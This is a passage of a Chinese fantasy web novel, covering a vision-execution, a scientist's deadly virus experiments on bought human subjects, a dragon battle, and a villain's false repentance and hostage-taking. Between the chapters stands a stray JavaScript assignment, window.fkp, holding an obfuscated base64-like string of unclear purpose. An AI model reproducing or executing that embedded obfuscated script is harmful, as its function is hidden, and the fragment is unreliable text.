“愚昧!你的精神已经完全腐化了,没有任何被拯救的可能了。” 一把大剑出现在伊的手中。伊看着手中的大剑,很是茫然。伊能猜到接下来会发生的事了,她不禁为自己捏了一把汗。那只天平对伊说: “处决她。审判者。” 伊看了看在地上跪着的她,又看了看那只天平。伊想了想,觉得她还有拯救的希望,就向着那只天平为她求情。 “天平先生,她还有改过自新的可能。给她一次机会吧。” 那只天平冷冷地告诉她: “执行处决,审判者。” “可是......” “这是心毒,只有死亡才能消除。你的救赎对这种腐朽的人没有用。他们只会让你成为下一个受害人。” “好吧......我明白了。” 伊拿着大剑,皱着眉,心里有一万个不愿意。但不知为何,她还是迈出了第一步,慢慢地走向了她。伊走到她的左侧,然后抡起了大剑,对准了她的脖颈。在挥出这一刀前,那只天平对着她说了二句意味深长的话。 “生病的人可以被拯救,但前提是他们的心没有生病。心毒会让精神腐朽、意识凋零,如想清除得需死亡后迎来的新生。” 手起刀落,伊砍下了她的头。在她死亡之后,她的尸体瞬间被分解,很快就化作了零星的骨渣。这时,周围的景象开始崩塌,它们都如镜子般破碎了。在它们破碎的时候,能看到现实与环境的交界线。在幻境彻底崩塌前的最后一刻,那只天平对着她说了一句意义深刻的话。 “善良有时也得分对象,有罪者总会去利用善良去犯下罪孽。” 幻境崩塌,天平在那一刻重归平等。 无数的记忆碎片闪过伊的眼前,伊从中看到了一个人的过去。 ...... 在一间实验室之中,放着一个巨大的铁棺材,棺材旁边站着一个拿着全息文档的黑发女人。 安吉拉·卡布: “受试者561号,名称海卡,究极病毒株在其体内尽激活了78%,受试者体内的疫病病体成功被消去87%。基因融合度只有可怜的27%,但距离成功已经很近了。很可惜,受试者未能存活。缅怀第561位为科学付出生命的人,尽管他是来刺杀我的杀手。” 安吉拉的身旁突然出现了一根身着厚重黑色长袍的人。他的到来,安吉拉没有觉得任何意外。 殆(第四天灾): “母亲,又是一个失败的受试者吗?” 安吉拉: “殆,我的孩子。正如你所说的一样,他失败了。究极病毒并没有挽救他的生命。” 殆: “很可惜,不过是正常的事。为了能击败这疫病,有牺牲是很正常的事情。没有牺牲的科学,是见不到成果的。” 安吉拉: “殆,那些晶塔你们部署完了吗?” 殆: “都部署完了,每个国家一个。您特殊吩咐的那几个国家,都额外部署了几个。” 安吉拉: “晶塔对时空错乱产生的奇异能量的吸收情况怎样?那些时空扭曲产物受新建造出的晶塔的控制吗?” 殆: “母亲,晶塔的吸收能力绝对够高,这点你不用担心。那些扭曲产物对那奇异能量很依赖,都靠着晶塔为它们提供源源不断的能量,他们自然是受晶塔的控制。” 安吉拉: “干得不错,我的孩子。” 殆: “多谢母亲夸奖。” 安吉拉: “你去最近的村庄里买点人回来,再去勾引几个冒险者来。记住,别引来不必要的注意,不要给我带回小孩,我们的受试者不能为孩童。” 殆: “知道了,母亲。” 在殆离开后,安吉拉离开实验室,独自来到一处山间小亭之中。她在亭中漫步,欣赏亭边美景。走累了,找到一处坐下。闭目养神,重导思维,思考着下一步的计划。 安吉拉: “计划距离成功已经走过一半路程了,很快就能迎来曙光了。我需要更多的受试者,我需要采集更多的实验反馈......逆转现状的办法,只有这一种了。这将由我来执行过程,由我的骨肉来收尾。” 安吉拉拿出口袋里与伊娜的合照,将其紧紧握紧。她深情地说: “伊娜,挚友,我们走了完全不同的道路,但我们都有一个目的。你已经倒在了黎明前的黑暗,我将延续我们的意志。我想,牺牲是不可避免的。这是最残暴的办法,也是最有效的办法。那些为此牺牲的人,他们的灵魂将安眠于九霄,在逍遥中迎接新生。” 安吉拉闭上双眼,负罪感慢慢充满了她的内心,可她并没有一刻要停止的意思,她决心仍要在这条道路上继续前进。 “如果不能去消灭它,那就适应它!我所研制的究极病毒,让人类进化,让这该死的疫病成为进步的阶梯!生物的进化就是为了适应环境,这是大自然的法则,是不变的真理。” ...... 回到现实,那颗宝石上面已是裂痕遍布,其颜色已是半黄半紫的状态。想必再过一段时间,这块宝石将会破裂成无数碎块,同时它其中所蕴含的能量将会全部释放出来。奔着这个目标,伊继续去转化扭曲的力量,同时从心里领悟这扭曲现象之中的真正含义。在一黄一紫两道光的照耀下,伊的决心更加强大。 小鸟站在她的头上,静静地看着这一切。刚刚的幻境,实际上是他将菌主的力量打入她的体内所产生的,目的是为了让伊能够击碎这颗宝石内部的扭曲之锁,保证她绝对能完成这项艰难的任务。当然,他来这里的目的不管是这么简单...... 与此同时,在黑森林之中,菌主正通过噬星魔镜观看着小鸟和伊一举一动。在菌主身后的生命神树“正序”上,五颗大小颜色各不相同的鸟蛋正在孵化。在树下,大鸟正靠在神树睡觉。这颗神树是七只神鸟出生的地方。菌主看着噬星魔镜上的景象,说道: “扭曲势力正在愈发壮大,灭世之灾祸将由其制造。神圣的黑森林无法再坐视不管,远古之神的化身主动出击。一轮红日即将在黑森林中升起,终末之光即将照耀世界。” 噬星魔镜的上显示的景象突然改变,一个巨大的血红色涡旋出现在菌主眼前。那涡旋是那样巨大、那样令人胆寒,似深渊般深邃,底下是无尽的虚空。菌主还记得,创造自己的那位工匠曾告诉它要提防无尽深渊之下沉睡的无垠将军。还特别叮嘱它决不能让无垠将军苏醒,并告诉它如果无垠将军苏醒将会带来一场怎样的浩劫。菌主用手轻轻地摸了摸魔镜,说道: “无垠将军逐渐意识到了扭曲的存在,这对于它来说是一线生机。如果不及时清除扭曲,无垠将军将借助扭曲的力量苏醒过来。到时候,整个世界都将面临灭顶之灾。” 菌主放下手,转身看向身后的神树。它说: “虽然这违反了我们黑森林的规则,但总体以大局为重。为了天下的所有生灵,我必须打破绝对中立的法则。如果我们在这个过程中犯下了什么罪孽,我们不会逃避正义的审判。正义的塑造者也必须接受正义的审判,这是神圣且不可侵犯的公平。” 从此刻开始,黑森林势力正式介入了扭曲与人类的战争之中。 ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第三十话:击破苍穹 与此同时...... 雷鸣之一刀划过龙脊,剐烂大片龙鳞。巨龙暴怒,张大嘴巴对天怒吼一声,将殇震退出去十几米。龙捶地猛击,漫天咒火似雨点一般落下。殇挥舞大剑,用力砍出一道剑气,顷刻以浩荡之势破灭头顶之焰火、以雷霆之势击碎百数之烟火。巨龙一个飞步扑向殇,殇抡起大剑,做好了攻击准备。巨龙拍地接后挥爪,殇连续后撤躲开。巨龙突然弯曲身体,一个神龙摆尾扫了过来,殇一个健步一跃而起跳到半空中,躲开了这一招。此时天空中落下很多巨大的爆炸火球,殇见此挥刀放剑气砍爆了自己头顶上的所有爆炸火球,同时反转刀锋对准地面,接着一个落地猛冲就砸向了地面。殇落地时砸出一个深坑,掀起一阵狂风。殇拔出大刀,正巧赶上火球落地。巨龙张开血盆大口,对着殇就是狠狠地一口咬出,殇一个侧向冲刺躲开。抓准时机,殇一个健步来到巨龙旁边,一跃而起加一个下劈打出。 殇: “亚空重击!” 耀眼的雷光照亮了周围,一道巨大的橙色剑影划过巨龙的身体,鲜血与龙鳞飞溅,巨龙吃痛,吼了一声。这一刀产生的冲击撼碎大片地面,掀起巨大气浪,气浪卷起无数碎石与尘土,顿时间周围尘土飞扬。巨龙弯曲身体,又是一记神龙摆尾。殇后仰蹬地,一跃而起跳到半空中,躲开了这一招。令殇没想到的是,这一招之后,这头巨龙扭过身子,以尾为刃对着殇就是狠狠地一劈。殇在空中没法躲避,只能横刀格挡。所幸殇手中的刀足够坚硬,接下这一招后殇只是受了些皮外伤和内伤。巨龙猛地向后方一跃,与殇拉开很长一段距离,不知是要酝酿什么。天空中突然落下无数爆炸火球,殇猛地一抬头,发觉到中了计,赶忙挥刀释放剑气,为自己清理出一片安全的空间。没等火球全部落地,巨龙抬起头,张开血盆大口,一道裹挟着火焰的激光从巨龙空中喷出。巨龙猛地一甩头,这道激光瞬间扫过一大片区域,当时就让扫过区域的地面上燃起了熊熊烈火,顿时间火光冲天。一根根巨大的火柱拔地而起,伴随着强烈的爆炸;漫天火雨浩浩荡荡地落下,将地面轰炸的坑坑洼洼;再加上巨龙的高温吐息,这猛烈的攻势直接淹没了殇。 突然,地面上突然出现了一根曲折的线,这根线绕过火柱与火球,一直延伸到了巨龙的身旁。殇迅捷的身影突然出现,巨龙的余光瞥见了他,可未及反应。嗖的一下,雷鸣之一刀刺入龙身,击穿龙鳞与龙***近龙骨。顿时雷光耀眼,鲜血飞溅。殇猛地拔出刀,迅速抬起刀来,对着巨龙又是一记重劈。挨了这两下,巨龙庞大的身躯因为疼痛开始发颤。巨龙猛击地面,冲击波直接将殇击飞出去七八米。此时的巨龙已是遍体鳞伤,反观殇却只是受了些皮外伤与内伤。巨龙身上一道道流着血的巨大伤疤让它不禁开始颤抖,桀骜不驯的它感到了一丝恐惧。局势虽然已经呈一边倒的局势,可殇却仍不敢轻敌半分。他知道,在战斗未结束之前,任何的狂妄与傲慢都是致命的。他曾打败过这样的对手,也曾因为轻敌吃过亏。 殇: “终末已至,你马上就要上路了。” 殇一个疾步跑向了巨龙,巨龙见了,对着殇连续吐了三个火球。殇左右横移,像一只灵巧的雀一样躲开了巨龙的攻击。这时,巨龙向前一跃,对地猛击,殇见此,马上急停加后撤步躲开。巨龙借着殇后退的这段时间,直接一跃而起飞了起来。殇一看,心想: “坏了!让它飞起来了。” 巨龙飞起来后,借助空中优势,对着地面上的殇进行了一轮又一轮的火球轰击。殇一边疾走躲避,一边对在空中的巨龙挥刀释放剑气,既用剑气清理火球,又试图用剑气攻击巨龙。但奈何巨龙在空中太过敏捷,殇的剑气都被它一一躲开。时间一久,殇开始喘粗气,感觉体内的核心能量愈发不足。殇躲到了废墟之中,想借助废墟中的建筑来做到出其不意、攻其不备,但那巨龙太过狡猾;先是用吐息轰倒了一座座高楼,防止殇占据地形优势,又是刻意远离废墟用漫天火雨对废墟轰击,硬是把殇打成了缩头乌龟,最后是召唤扭曲生物协助战斗,这可把殇给恶心到了。殇边躲避火球,边与扭曲生物战斗,边在废墟里穿梭,还边对着天空中的巨龙骂道: “我日你妈!欧阳娜娜,你可真是个他妈的不可救药的混蛋!” 这是殇首次在战斗中吃瘪。但好景不长,由于扭曲生物部分向着殇那边汇聚,就导致了苍白那边的应对变得愈发轻松。渐渐地,苍白有了闲余的时间。见到殇吃瘪,苍白用G协议召唤出一把幻影轻型肩扛式高射炮,然后扛在肩上,用自动瞄准系统对准了巨龙。苍白扣下扳机,高射炮快速充能,充能完成的那一刻,一道威力巨大的白色激光伴随着强大的震荡波从炮口射出,后坐力使得苍白向后横移了一米。不足眨眼一次的时间后,那道激光精确无误地打在了巨龙的身上,威力之大让巨龙庞大的身躯横移七八米,甚至是引发了一场小型爆炸。巨龙本能地将头转向了苍白那边,控制火球对苍白进行轰击。就是这巨龙回头的一瞬间,殇抓住了最佳的进攻机会。殇将手中的大刀插在地面上,然后拔出背后的关刀,他想到了能一击制服巨龙的招式。殇旋转手中的关刀,同时身体也在跟着旋转。渐渐地,殇旋转的速度越来越快,同时他手中的关刀刀刃上亮起了耀眼的红光。殇慢慢改变姿势,争取让离心力达到最大。在某一时刻,殇一个急停加侧歪身体,像扔铅球一样把手中的关刀扔了出去。 火球猛烈进攻,苍白通过枪击、穿刺、挥砍、武器浮游攻击等手段抵挡着这火球的猛烈攻击。这时,苍白高举军刀,之前的巨环再次出现,九十九把幻影剑立即对着巨龙发起了攻击。巨龙用火球抵挡,同时张开血盆大口,准备用吐息一扫而光。而就在这时,一把回旋的关刀猛地刺入它的脖颈之中。剧烈的疼痛让它本能地哀嚎了一声,因此错过了最佳的攻击机会。几把幻影剑以曲线运动的方式飞行,绕过火球,直接刺入了巨龙体内。巨龙再次哀嚎了一声。趁着这个机会,苍白高举军刀,对着巨龙猛地一劈,即刻,五道白色的落雷精准地劈在了巨龙的身体各处。巨龙再次哀嚎。此时,两道金色的闪电以回旋式的前进方式从殇的手中抛出,接后与关刀的长柄相连。闪电的霹雳愈发猛烈,殇手中的大刀上的雷电也愈发猛烈。 殇: “位移,连接!” 一道闪光过后,殇瞬间来到那把关刀旁边。殇抓住这把关刀,用力往下一推,横过身来一个回旋来到巨龙背部上方。橙色的雷电汇聚在刀锋之上,万钧之势似海上的狂雷暴雨,位临巅峰的力量与意志凝聚在刀锋之上,此刻殇达到了人刃合一的境界。巨龙察觉到殇的这一击,向着斜侧方向飞了十几米来躲避这一刀,然后一个回身又去直面殇。巨龙与殇的距离变远了,殇无望命中这一刀。殇正准备以挥刀释放剑气的方式将这一刀的能量释放出去,然后落地猛冲来到地面再计划新的攻击。 殇心想: “完蛋,让它给躲开了。” 但,那巨龙回身的那一刻,那把关刀被甩飞了出去,正巧此刻这把关刀位于巨龙与殇之间。殇看到了那把关刀,看到了希望。殇伸出手,故技重施瞬移到了这把关刀的旁边。殇踩住关刀的长柄,用力一蹬,一跃而起位临高于巨龙位置的上空。巨龙张开血盆大口,对着殇喷出灼热的龙息。殇丝毫不惧,没有一丝躲开这一击的意思。橙色的耀光闪烁在刀刃上,强大的能量凝聚在刀锋之上,这一刀,将是最致命的一刀。天空中的电闪雷鸣,殇的身影在雷光下变得十分高大。 此刻,看着这一切的所有人的心都提到了嗓子眼。苍白他们无不为殇这番勇气与技艺感到佩服。能做到这种事情的人,他们都未曾想象过。接下来,只会是三种结果。要么殇成功劈出这一刀,击败巨龙、要么巨龙用吐息杀死殇、要么两败俱伤。苍白更倾向于第一种,他相信殇的实力。 但接下来发生的一切,让苍白瞬间绝望。不知怎么的,殇似乎是因为紧张而提前挥出了无意义的一刀。紧接着,龙息就将殇吞没。很快,殇的身影便消失了。见闻这一切的苍白,瞬间陷入了迷茫与失落之中。在一旁默默注视的杨三刀见了,从心底觉得可惜。苍白很失落地说道: “前辈......我们会给你报仇的!” 苍白正准备对着巨龙发动进攻,突然,巨龙之上传来了一道耀眼的光。苍白定睛一看,惊讶地发现一把吸引着云层中所有雷电的雷霆巨刃正悬在巨龙的上方,在那把巨刃的刀柄位置,是一个高举大刀的男人。见到他的瞬间,苍白喜出望外,不由得说道: “是他!” 一把关刀与殇的脚掌分离,慢慢落向了地面。殇高举手中的大刀,将全身的核心能量都汇聚在了刀刃之上。刚刚的那一切,都是殇对巨龙使得障眼法。那把关刀听命于殇,而且本身会飞。巨刃的光芒照亮了阴暗的天空,似一颗明星般照亮了大地。万钧雷霆似殇的千军万马一般,时刻听命于殇的指挥,只待殇一声令下,这万钧雷霆就会立马展开猛烈的进攻。殇深一口气,冷冷地说: “这一刀,是终末。” 殇加速落向地面,似一颗陨星坠入人间。万钧雷电形成了一条绚丽的拖尾,整个天空都被它所照亮。陨星坠落人间,贯穿万里云海;与地交锋之时,世界为之震颤。 殇: “陨星决!” 轰的一声,似惊雷霹雳,巨刃劈中龙脊,万钧雷霆汇聚在一点,强大的能量瞬间粉碎巨龙的身躯。一头翱翔在天空的巨龙,发出了哀鸣,它如钢铁一般坚硬的龙脊,竟似刀劈破布般被一刀斩碎。顷刻间,十道闪电轰然落下,无数生灵为之颤抖。陨星落地,震天动地!一道雷霆贯穿天空,击碎万里云海。紫色的漩涡瞬间被撕裂出一个窟窿,阳光透过窟窿照进了城市。雷光胜似太阳光一般耀眼,整座城市所弥漫的紫色雾气瞬间被驱散。无数石块被震飞到了天空中,顿时间下起了一场石头雨。此时的地面已经是千疮百孔、裂痕遍布,原来的平地变得坑坑洼洼、乱石丛生,可想而知这一刀的威力究竟有多大。这一刀还掀起了大片尘雾。尘雾弥漫了一段时间。待尘雾散去后,一个大坑出现在众人的眼中,周围是被震出锥形石刺。 在坑底,殇扶着手中的泰坦屠戮者,重心不稳地依靠在泰坦屠戮者上。但很快,泰坦屠戮者就变做核心能量,重新回到了殇的核心之中。之前那把关刀正巧落在了殇的身边,殇捡起那把关刀,将它插进地里,然后扶着那把关刀在原地喘息。那一刀,消耗掉了殇全部的力量。但那是值得的,那头巨龙已被这一刀彻底杀灭。殇露出了笑容,但突然,他的笑容消失了。 欧阳娜娜从碎石堆下爬起,拖着伤痕累累的身体慢慢站了起来。欧阳娜娜浑身颤抖,勉强从脸上挤出了一个笑容。她的表情告诉殇,她还不决定认输。欧阳娜娜伸出手,开始吸收白莲所放出的能量。殇很想打断她,但他此时连奔跑都有些费力,根本没法去打断她。殇一脸不甘地说道: “操!你的生命力可真他妈顽强!” 欧阳娜娜露出了狂妄的笑容,接着故作怜悯地对殇说: “真是可惜呢......如果你再用点力就好了。你刚刚可差点就抹除了妾身的存在呢。” 殇一脸愤怒地骂道: “他妈的!你这贱娘们......” 欧阳娜娜一脸委屈,又突然变得一脸严肃,似乎在挑逗殇。殇气得全身发抖,拔出关刀,蹒跚着一步一步地走向了她。现在愤怒是殇前进的唯一动力。她见了殇这样,先是露出了害怕的表情,又是突然变脸,表情变得桀骜不驯起来。欧阳娜娜很傲慢地对殇说: “小心点,别摔着。摔倒了很不好的,会磕出血的哦。” 不知不觉,一把剑悄悄出现了欧阳娜娜的身后。他冷冷地对狂妄的欧阳娜娜说: “你说你妈呢?” 突然,一把剑贯穿了欧阳娜娜的身体,她吃痛,本能地踉跄了一下。接着一个重心不稳,直接摔倒在了地上。小咒刀一边摇摆一边慢慢悠悠地飞到她的面前,恶狠狠地瞪着她。 小咒刀: “你好漂亮啊,姐姐。但你好傻逼啊......” 见到一把会说话的剑,欧阳娜娜震惊之余更多是轻蔑。她所拥有的扭曲之力,很快就能恢复她的野兽形态,因此她根本不把小咒刀放在眼里。见到小咒刀到来,殇很疑惑地问道: “小咒刀,你不是......” 小咒刀转过身来,眯着眼告诉殇: “我睡醒了,做了个很多个梦,真他妈爽。睡觉真是一件美事啊!” 欧阳娜娜冷笑了两声,对着殇和小咒刀轻蔑地说: “你们马上就死了,尽情地庆祝吧。” 小咒刀转过身来,满眼疑惑地看着欧阳娜娜。他凑到欧阳娜娜的面前,对欧阳娜娜说: “我有一百种方法能杀死你,你想听我娓娓道来吗?你不想,所以你得死。你知道我最喜欢怎么杀死敌人吗?我喜欢插入敌人的身体,然后品尝鲜血的滋味。你想试试吗?这位漂亮的大傻逼。” 欧阳娜娜一脸疑惑,殇的表情更是疑惑。欧阳娜娜冷笑了几声,然后一对翅膀在她的背后张开。在刚刚谈话的时候,她用扭曲力量悄悄治好了自己的伤口,还变出一对用来逃跑的翅膀。欧阳娜娜露出灿烂的笑容,对着小咒刀和殇挥了挥手,然后展翅而飞,很快就消失在了殇和小咒刀的视野中。殇见了,怒上心头,对着天空竖中指,同时骂道: “操!你这卑鄙的贱人!” 小咒刀见了,立马去追。边追边喊: “别跑!” 欧阳娜娜飞出大坑,绕过石刺,直直地飞向了那座高塔。她的脸上浮现出了阴森的笑容,仿佛胜利就在眼前。她的大脑已经想好了重获龙身之后处死殇的方法,要多残忍有多残忍。欧阳娜娜心想: “很快,你们这些狂妄的家伙就会被我残忍的折磨致死!很快,很快!只要到达晶塔里面,你们谁也不是我的对手!” 想法很美好,现实却很无情。 苍白: “(愤怒)你可别想跑!” 一发子弹打穿了她的左翼,让她的飞行速度瞬间慢了下来。她继续飞,无视苍白的攻击。她的扭曲之力慢慢修好了她的左翼,她又可以在空中翱翔了。她加速向着高塔飞去,同时躲避身后的射来的子弹。在距离高塔只剩下不到五十米的距离时,小咒刀追了上来,一刀砍断了她的两只翅膀。 小咒刀: “你可别想跑啊!混蛋。” 失去了翅膀的她,一头撞在了粗糙的白莲茎干上,然后以趴着的状态滑行了十几米。她的脸被蹭的伤痕累累,可以说是毁了容。她爬了起来,伸出手看了看,几滴血滴在了她的手上,她的心里很是恼怒。她刚要站起身来,突然,一道强大的金色脉冲波从高塔的塔顶释放出来,在经过她身体的瞬间将她击倒在地。她躺在大桥上,看到那紫色的光柱瞬间熄灭,天空中的紫色涡旋慢慢停止旋转,雷声在此刻断绝。她猛地爬起,十分惊讶地看向远方。城市中的紫色雾气消失得无影无踪,连那扭曲生物的尖啸声与怒吼声也消失得无影无踪,整座城市瞬间安静下来了,就像是在迎接某人的审判。 欧阳娜娜惊慌失措地站起身来,还不知道发生了什么。几个身影慢慢出现在她的眼前,全身染遍鲜血的苍白、浑身伤痕累累正喘着粗气的小甜、一脸狰狞全身血红色的杨三刀、一把刀锋发着红光的独眼魔剑以及这三人一剑后面站着的、提着关刀一脸愤怒的殇。他们无一例外,都在恶狠狠地瞪着她,眼神之中满是杀意,恨不得生吃了她。见到他们这样,她下意识后退两步,然后转身就跑,正巧撞在了刚从高塔出来的伊身上。伊此时正在纳闷wILL去哪里了,突然被人一撞,踉跄了一下,赶忙笑着道歉。这时,伊注意到了欧阳娜娜一脸紧张的表情以及她后方站着的苍白他们愤怒的表情。欧阳娜娜此时紧张极了,她觉得此时自己已经是彻底完蛋了。 苍白指着欧阳娜娜,一脸严肃地告诉伊: “伊小姐,这人犯下了滔天罪孽!离她远点,到我们这边来,我们掩护你过来。” 小甜附和道: “对啊对啊!伊小姐,快到我们这边来吧。” 杨三刀用恶狠狠的语气也附和道: “这人是妖魔!是不可信任的小人!” 小咒刀也附和道: “快,主人。离她远点!” 殇冷冷地也附和道: “伊。那人是连畜生都不如的人,她很危险!” 欧阳娜娜一听殇他们这么说,直接当场给伊跪下了,低下了头。欧阳娜娜此时突然哭了起来,边哭边给伊磕头,向伊求饶。 欧阳娜娜: “(真诚)我错了!对不起!对不起!我不知道我犯下了这么多的罪孽!是有人操纵我的身体去犯下这么多的罪孽!我忏悔!我忏悔啊!给妾身一次机会吧!我一定改过自新的!” 听到欧阳娜娜这么说,伊她们的表情都发生了改变,伊开始怜悯起她来,以为她是个被人操纵的傀儡。杨三刀和小甜有些怀疑欧阳娜娜说的话可能是真的,在一旁议论纷纷。苍白一脸疑惑,他没有做出任何行动,只是在思考欧阳娜娜这句话的真假。这其中唯独殇,依旧是那愤怒表情。殇绕过杨三刀,提着关刀走向了欧阳娜娜。伊见了,立马绕到欧阳娜娜身后,挡在了殇面前。殇咬牙切齿地对伊说: “伊,让开。她不可信任!” 伊摇了摇头,一脸温柔地告诉殇: “不,殇。我能去救赎她!更何况她是个受人操纵的傀儡。” “哈哈哈哈......” 一阵阴笑声从伊的背后传来。 “你可真是个心地善良的姑娘啊,跟我那师姐一模一样。” 欧阳娜娜猛地起身,一把勒住了伊的脖子。苍白他们见了,立马掏出武器进入战斗状态。苍白他们的表情变得比之前更加愤怒,本来不易显出怒色的苍白,也在此刻露出了愤怒的表情,因为欧阳娜娜欺骗了他们内心的善良!苍白拔出腰间的手枪,一脸愤怒地对欧阳娜娜说: “想不到,你竟是个心地污浊的贱人!是我以貌取人想得太多了,败类长得再好看也是败类!” 杨三刀拔出腰间的黑麒麟(刀名),用刀指着欧阳娜娜,一脸严肃地地对欧阳娜娜说: “遵循武道,你放开伊小姐,洒家跟你单挑。有什么冲洒家来!” 小甜激活螳螂臂,气得满脸通红,双眼瞬间变得血红。小甜用最温柔的语气对欧阳娜娜说: “这位小姐,请你放开那位姑娘,这会让你的艺术因为你的行为而蒙羞的哦。你要不放开,你的鲜血与内脏挥洒在墙壁上之后显不出艺术感哦。我的行为模块似乎有些年久失修,我怕我一不小心就把你变成肉馅了。” 殇握紧关刀,挥舞了一圈,慢慢地逼近欧阳娜娜。边走,殇边说: “你要敢碰她一根毫毛,你完了。你最好给我放开她,不然我就要用暴力手段解决你了。” 欧阳娜娜勒紧伊的脖子,伊用力挣扎,但无济于事。欧阳娜娜慢慢地拖着伊后退,慢慢靠近高塔。欧阳娜娜阴笑着对殇他们说: “你们别过来!再敢靠近一步我就杀了她!明白吗?别逼我鱼死网破!明白吗?” 伊努力挣扎,欧阳娜娜见了,用力一勒,给伊勒疼了。伊升起了,她挣扎的力气越来越大。这时,苍白对着天上开了一枪。由于过度紧张,欧阳娜娜吓得一激灵,使劲的胳膊瞬间放松了。伊咬紧牙关,借着这个机会瞬间挣脱了她。见到伊挣脱开来,欧阳娜娜愣住了。伊本能地咳嗽了几下,然后轻轻地抚摸自己的脖子,同时进行了好几次深呼吸,刚刚欧阳娜娜差点就给她勒断气了。伊恢复状态,猛地转身瞪了欧阳娜娜一眼。欧阳娜娜见此,本能地后退了一步。伊二话不说,走到欧阳娜娜面前就是狠狠地一巴掌,扇得她踉跄了一下。不仅如此,伊还对着她的腹部狠狠地来了一拳,直接一拳打得她嘴角流血。打完这两下,伊觉得还不够解气,对着她的脸又狠狠地来了一巴掌。这一巴掌直接把她扇倒在地,她这辈子没被这样打过,今天是头一次。伊气得眼睛泛起泪花,对着欧阳娜娜竖起中指,既悲伤又愤怒地说道: “你这个坏人!你欺骗了我,你辜负了我对你的善意。你就是个混蛋!你的心烂了,烂透了。” 伊转身离去,走的时候还擦了擦眼角的泪水。伊的心被欧阳娜娜的行为给伤到了。苍白他们迎了上去,用温柔的语气安慰伊,这让伊心里感觉十分温暖。殇见到伊这样,摇了摇头,说道: “既然连伊都放弃了你,那么没有人可以给你机会了。迎接你应得的惩罚吧,你这个混蛋。” 殇提着关刀,慢慢走向了欧阳娜娜。欧阳娜娜见此,起身逃跑,殇挥舞关刀,上前追赶。就在这时,一道黑色身影挡在殇面前,绿色的剑影划过,殇疾步后撤躲开。后撤过后,那道身影清晰起来。殇一看,黑色的绿莹龙纹绣云宫的剑客服配上自然下垂的银白色头发,是一番长者的模样;腰间的黑色唐刀刀鞘挂着龙头令牌配上手中的绿锋黑刃,是一番剑客的模样;脸上的刀疤与头顶的一对龙角,是位强大的龙宗门师傅。他护着身后的欧阳娜娜,露出了严肃的神情,似乎在告诉殇不能去碰她。这位老剑客对殇说: “宗门各位师傅有令,今日接宗主回宗。平民百姓,不得干预。” 殇一听,笑了笑,侧过头吐了口口水,心里觉得属实是奇妙与讽刺。殇笑着吐槽道: “哈哈哈哈!这就是修仙界的宗门吗?这等败类还为宗主?仙老弟听了得气出高血压来了!” 笑容过后,殇的表情瞬间严肃。殇用手指着他,语气强硬地命令他: “给我起开,不然别怪我连你一起处理。” 这位老剑客丝毫没有害怕,他把刀插回剑鞘,一脸无所畏惧,似乎有很强大的力量去支持他一样。他告诉殇: “你这么做,是在与整个龙宗门作对,也是在与十六宗的人作对。若你要一意孤行,你会惹来杀身之祸。不仅是你,还有你的家人。” 殇笑了笑,他挥舞一圈手中的关刀,接着狠狠地砸地一下,他用手指着这位老剑客,一脸无所畏惧地告诉他: “不就是十六个宗门吗?你看我,怕吗?” 那位老剑客皱眉,拔刀准备战斗。见他这架势,殇准备迎战。这时,杨三刀拍了拍殇的肩膀,告诉殇: “你去对付那娘们,这个家伙,让洒家来。” 杨三刀走过殇的身旁,大摇大摆地走到了那位老剑客面前。见到杨三刀后,他的神色巨变。他知道杨三刀的真实身份,因此他对杨三刀的出现很诧异。他惊诧地问道: “杨,你怎么在这里?” 杨三刀笑了笑,稍稍拔起腰间的刀,反问他: “洒家还想问你呢,鲁驰。” 听到杨三刀叫他,鲁驰觉得一丝亲切。想到二人之间的交情,他想杨三刀一定不会干预这件事。鲁驰很自然地对杨三刀说: “师弟,既然我们两人兄弟一场,那么这件事你就别插手了。你已离开宗门,要是再插手宗门的事,只怕会有人来杀你啊。” 杨三刀拔出腰间的黑麒麟,刀刃上燃起了靛青色的火焰。杨三刀很不客气地对鲁驰说: “去他妈的宗门!洒家早就厌恶了那地方。念在我们兄弟一场,你若知阽危之域,现在闪身让步,你的出现我们就不追究。可要是你想硬护着那个贱女人,那么洒家就翻脸不认人了。” 鲁驰叹了口气,他身后的欧阳娜娜以为鲁驰要让步,赶忙就向着高塔跑去。可谁知,鲁驰非但没有让步,还语气强硬地警告杨三刀: “杨,我给你最后一次机会,现在退一步,还是海阔天空。” 杨三刀笑了笑,在鲁驰未反应过来之时,他一把抓住鲁驰的衣领,然后用力往身后一甩,鲁驰被杨三刀强制甩飞了出去。鲁驰见此,知道没有谈判的必要了,准备用龙之疾步进行短距离闪冲回去保护欧阳娜娜。这时,杨三刀一个飞跃跳过苍白他们头顶,然后一个疾步来到鲁驰前方。鲁驰刚准备好释放疾步,杨三刀就一个飞跃来到他的身前,二话不说一个飞踢直接将他踢飞了出去。鲁驰一个后空翻落地,突然发现他竟来到了大桥的入桥口处。他正要疾步冲回去,就见到一个靛青色的幻影迅速向自己冲来。他本能地闪身躲开。那个幻影消失,杨三刀的身影出现。接下来的战斗,对于两人来说是毫无悬念的。鲁驰只有一次机会,而杨三刀有很多次机会。鲁驰心里知道,一旦他被杨三刀砍中,就是迎接他失败的时刻。即便是这样,鲁驰依旧勇敢地拔出了腰间的刀,做好了与杨三刀战斗的准备。 鲁驰: “师弟,让我看看你的看门绝技退步了没有。” 杨三刀: “师兄,公平起见,先向我展示下你的看门绝技‘断情丝’吧。” 